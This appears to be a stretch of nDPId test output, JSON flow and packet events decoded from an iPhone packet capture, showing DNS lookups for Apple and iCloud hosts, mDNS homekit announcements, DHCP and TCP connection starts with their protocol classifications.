+00450{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"iphone.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1582454596364,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::823:3f17:8298:a29c","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00519{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454596,"pkt_ts_usec":364760,"pkt_caplen":130,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":130,"pkt_l4_len":68,"pkt":"MzMAAAAWxGGLNYKpht1gAAAAAEwAAf6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAAWOgABAAUCAACPAIFJAAAAAwQAAAD\/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAv8d2dAEAAAA\/wIAAAAAAAAAAAAB\/5iinA=="} +00484{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"iphone.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1582454596364,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::823:3f17:8298:a29c","dst_ip":"ff02::16","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00807{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454596,"pkt_ts_usec":366527,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/xGGLNYKpCABFAAFIJUoAAP8RlVsAAAAA\/\/\/\/\/wBEAEMBNGQTAQEGALeWutEAAQAAAAAAAAAAAAAAAAAAAAAAAMRhizWCqQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDNwcBeQMGD3f8OQIF3D0HAcRhizWCqTIEwKgCETYEwKgCAQwMTHVjYXMtaVBob25l\/wAAAAAAAAAA"} +00798{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454596,"pkt_ts_usec":370709,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"xGGLNYKpxiwDYGpkCABFAAFILXUAAP8RB83AqAIBwKgCEQBDAEQBNJKvAgEGALeWutEAAAAAAAAAAMCoAhHAqAIBAAAAAMRhizWCqQAAAAAAAAAAAABMdWNhcy1pTWFjLmxvY2FsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqAIBMwQAAU4gAQT\/\/\/8AAwTAqAIBBgTAqAIB\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00514{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454596,"pkt_ts_usec":847254,"pkt_caplen":128,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":128,"pkt_l4_len":74,"pkt":"MzMAAAD7xGGLNYKpht1gD8z1AEoR\/\/6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAD7FOkU6QBKKNMAAAAAAAEAAAAAAAEIX2hvbWVraXQEX3RjcAVsb2NhbAAADAABAAApBaAAABGUABIABAAOAADmYYs1gqnEYYs1gqk="} +00519{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454597,"pkt_ts_usec":360810,"pkt_caplen":130,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":130,"pkt_l4_len":68,"pkt":"MzMAAAAWxGGLNYKpht1gAAAAAEwAAf6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAAWOgABAAUCAACPAIFJAAAAAwQAAAD\/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAv8d2dAEAAAA\/wIAAAAAAAAAAAAB\/5iinA=="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"iphone.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1582454598204,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63381,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":204952,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"xiwDYGpkxGGLNYKpCABFAABMpW8AAP8RkM7AqAIRwKgCAfeVADUAOH2lldMBAAABAAAAAAAAE3AyNi1rZXl2YWx1ZXNlcnZpY2UGaWNsb3VkA2NvbQAAAQAB"} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":49,"source":"iphone.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1582454598204,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63381,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"p26-keyvalueservice.icloud.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"iphone.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1582454598205,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63143,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":205008,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"xiwDYGpkxGGLNYKpCABFAABGS9oAAP8R6mnAqAIRwKgCAfanADUAMj\/EHhQBAAABAAAAAAAADXAyNi1mbWZtb2JpbGUGaWNsb3VkA2NvbQAAAQAB"} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":50,"source":"iphone.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1582454598205,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63143,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"p26-fmfmobile.icloud.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"iphone.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1582454598209,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":61862,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":209581,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"xiwDYGpkxGGLNYKpCABFAABFIREAAP8RFTTAqAIRwKgCAfGmADUAMT0yjvEBAAABAAAAAAAACmdzcGUzNS1zc2wCbHMFYXBwbGUDY29tAAABAAE="} +00636{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":51,"source":"iphone.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1582454598209,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":61862,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gspe35-ssl.ls.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"iphone.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1582454598212,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":55914,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":212900,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"xiwDYGpkxGGLNYKpCABFAABEPtIAAP8R93PAqAIRwKgCAdpqADUAMKdbJH8BAAABAAAAAAAACWdzcDg1LXNzbAJscwVhcHBsZQNjb20AAAEAAQ=="} +00635{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":52,"source":"iphone.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1582454598212,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":55914,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gsp85-ssl.ls.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"iphone.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1582454598246,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":51007,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":246275,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"xiwDYGpkxGGLNYKpCABFAAA\/VFIAAP8R4fjAqAIRwKgCAcc\/ADUAK6bSYEMBAAABAAAAAAAAB2NhcHRpdmUFYXBwbGUDY29tAAABAAE="} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":53,"source":"iphone.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1582454598246,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":51007,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"captive.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00674{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":247243,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"xGGLNYKpxiwDYGpkCABFAADuMPYAAEARw6bAqAIBwKgCEQA19qcA2lqQHhSBgAABAAkAAAAADXAyNi1mbWZtb2JpbGUGaWNsb3VkA2NvbQAAAQABwAwABQABAAARlgAcCWZtZm1vYmlsZQJmZQlhcHBsZS1kbnMDbmV0AMA2AAEAAQAAAA8ABBH4uYzANgABAAEAAAAPAAQR+IMIwDYAAQABAAAADwAEEfiDysA2AAEAAQAAAA8ABBH4g8vANgABAAEAAAAPAAQR+LmkwDYAAQABAAAADwAEEfi5Z8A2AAEAAQAAAA8ABBH4g7LANgABAAEAAAAPAAQR+Lkw"} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":54,"source":"iphone.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":2,"flow_first_seen":1582454598205,"flow_last_seen":1582454598247,"flow_tot_l4_data_len":268,"flow_min_l4_data_len":50,"flow_max_l4_data_len":218,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63143,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"p26-fmfmobile.icloud.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.248.185.140"}} +00690{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":247382,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"xGGLNYKpxiwDYGpkCABFAAD6F4oAAEAR3QbAqAIBwKgCEQA195UA5qzeldOBgAABAAkAAAAAE3AyNi1rZXl2YWx1ZXNlcnZpY2UGaWNsb3VkA2NvbQAAAQABwAwABQABAAARlgAiD2tleXZhbHVlc2VydmljZQJmZQlhcHBsZS1kbnMDbmV0AMA8AAEAAQAAADUABBH4uVfAPAABAAEAAAA1AAQR+LkmwDwAAQABAAAANQAEEfi5J8A8AAEAAQAAADUABBH4uQrAPAABAAEAAAA1AAQR+IOrwDwAAQABAAAANQAEEfi5Z8A8AAEAAQAAADUABBH4uYTAPAABAAEAAAA1AAQR+LmN"} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":55,"source":"iphone.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1582454598204,"flow_last_seen":1582454598247,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":56,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":143,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63381,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"p26-keyvalueservice.icloud.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.248.185.87"}} +00642{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":248721,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"xGGLNYKpxiwDYGpkCABFAADVXGwAAEARmEnAqAIBwKgCEQA18aYAwXDXjvGBgAABAAQAAAAACmdzcGUzNS1zc2wCbHMFYXBwbGUDY29tAAABAAHADAAFAAEAAAtxACQKZ3NwZTM1LXNzbAhscy1hcHBsZQNjb20GYWthZG5zA25ldADANQAFAAEAAAFNACIKZ3NwZTM1LXNzbAJscwVhcHBsZQNjb20HZWRnZWtlecBUwGUABQABAAARlgAWBWU2OTg3AmU5CmFrYW1haWVkZ2XAVMCTAAEAAQAAAA8ABF9lGTU="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":56,"source":"iphone.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":2,"flow_first_seen":1582454598209,"flow_last_seen":1582454598248,"flow_tot_l4_data_len":242,"flow_min_l4_data_len":49,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":121,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":61862,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gspe35-ssl.ls.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"95.101.25.53"}} +00535{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":252214,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xGGLNYKpxiwDYGpkCABFAACEYIUAAEARlIHAqAIBwKgCEQA12moAcAk\/JH+BgAABAAIAAAAACWdzcDg1LXNzbAJscwVhcHBsZQNjb20AAAEAAcAMAAUAAQAADY0AJAlnc3A4NS1zc2wJbHMyLWFwcGxlA2NvbQZha2FkbnMDbmV0AMA0AAEAAQAAAD8ABBGCAi4="} +00661{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":57,"source":"iphone.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":2,"flow_first_seen":1582454598212,"flow_last_seen":1582454598252,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":48,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":55914,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gsp85-ssl.ls.apple.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.130.2.46"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"iphone.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1582454598252,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.140","src_port":50575,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":252419,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGrHrAqAIREfi5jMWPAbsN6rbUAAAAALDC\/\/8jQQAAAgQFtAEDAwcBAQgKEd\/m0wAAAAAEAgAA"} +00635{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":287759,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"xGGLNYKpxiwDYGpkCABFAADPyCcAAEARLJTAqAIBwKgCEQA1xz8Au1lGYEOBgAABAAUAAAAAB2NhcHRpdmUFYXBwbGUDY29tAAABAAHADAAFAAEAABGWACoMY2FwdGl2ZS1jaWRyDG9yaWdpbi1hcHBsZQNjb20GYWthZG5zA25ldADALwAFAAEAAAC8AA4LY2FwdGl2ZS1jZG7APMBlAAUAAQAAAOYAFAdjYXB0aXZlAWcHYWFwbGltZ8AawH8AAQABAAAAEQAEEf1pysB\/AAEAAQAAABEABBH9Nco="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":59,"source":"iphone.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":2,"flow_first_seen":1582454598246,"flow_last_seen":1582454598287,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":43,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":51007,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"ConnectivityCheck"},"dns": {"query":"captive.apple.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.253.105.202"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"iphone.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1582454598373,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":55457,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":373077,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkxGGLNYKpCABFAAA8dgsAAP8RwELAqAIRwKgCAdihADUAKKMQFxsBAAABAAAAAAAABG1lc3UFYXBwbGUDY29tAAABAAE="} +00627{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"iphone.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1582454598373,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":55457,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"mesu.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":61,"source":"iphone.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1582454598373,"flow_last_seen":0,"flow_tot_l4_data_len":74,"flow_min_l4_data_len":74,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":373420,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"AQBeAAD7xGGLNYKpCABFAABemlUAAP8RfYTAqAIR4AAA+xTpFOkASu+LAAAAAAABAAAAAAABCF9ob21la2l0BF90Y3AFbG9jYWwAAAyAAQAAKQWgAAARlAASAAQADgAA5mGLNYKpxGGLNYKp"} +00544{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":61,"source":"iphone.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1582454598373,"flow_last_seen":0,"flow_tot_l4_data_len":74,"flow_min_l4_data_len":74,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_homekit._tcp.local"}} +00514{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":373553,"pkt_caplen":128,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":128,"pkt_l4_len":74,"pkt":"MzMAAAD7xGGLNYKpht1gD8z1AEoR\/\/6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAD7FOkU6QBKKFMAAAAAAAEAAAAAAAEIX2hvbWVraXQEX3RjcAVsb2NhbAAADIABAAApBaAAABGUABIABAAOAADmYYs1gqnEYYs1gqk="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"iphone.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1582454598377,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"95.101.25.53","src_port":50576,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 